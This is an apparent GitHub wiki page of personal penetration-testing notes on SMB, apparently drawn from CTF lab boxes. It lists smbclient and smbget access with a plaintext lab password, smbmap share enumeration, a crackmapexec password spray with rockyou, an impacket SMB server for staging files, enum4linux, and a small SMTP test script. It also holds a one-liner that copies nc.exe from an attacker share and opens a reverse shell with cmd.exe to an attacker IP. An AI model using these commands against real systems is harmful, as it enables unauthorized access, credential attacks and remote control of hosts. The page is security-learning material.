-
Notifications
You must be signed in to change notification settings - Fork 14
Samba SMB
Alvin Smith edited this page Aug 26, 2021
·
47 revisions
-
smbclient //10.10.210.209/milesdyson -U=milesdyson%')s{A&2Z=F^n_E.B`'
-
smbget -R smb://10.10.210.209/milesdyson/notes/important.txt -U=milesdyson%')s{A&2Z=F^n_E.B`'
smbclient -L 10.10.1.X -U=svc-admin%'password'
smbmap -H active.htb
smbmap -R Share\Path -H <IP> --depth 10
smbmap -R Replication -H active.htb --depth 10
smbmap -R Replication -H active.htb -A Groups.xml -q --depth 10
smbclient \\\\10.10.1.228\\Sharename -U=svc-admin%'pw'
crackmapexec smb <IP> -d <DOMAIN> -u user/file -p rockyou.txt
https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-Credentials,-NULL-Sessions,-PtH-Attacks
python /some/path/impacket/examples/smbserver.py share .
// on windows target or RCE
copy \\<attackIP>\share\nc.exe C:\nc.exe;C:\nc.exe <attackIP> <PORT> -e cmd.exe
https://github.com/CiscoCXSecurity/enum4linux
enum4linux -a -M -l -d <IP> 2>&1 | tee "/home/user/scans/enum4linux.txt"
#!/usr/bin/env python3
import smtplib
host = '127.0.0.1'
port = 25
From = 'send@domain.alvin'
To = 'to@domain.alvin'
Message = '''\
Subject: HI ALVIN
'''
try:
io = smtplib.SMTP(host,port)
io.ehlo()
io.sendmail(From,To,Message)
except Exceptions as e:
print (e)
finally:
io.quit()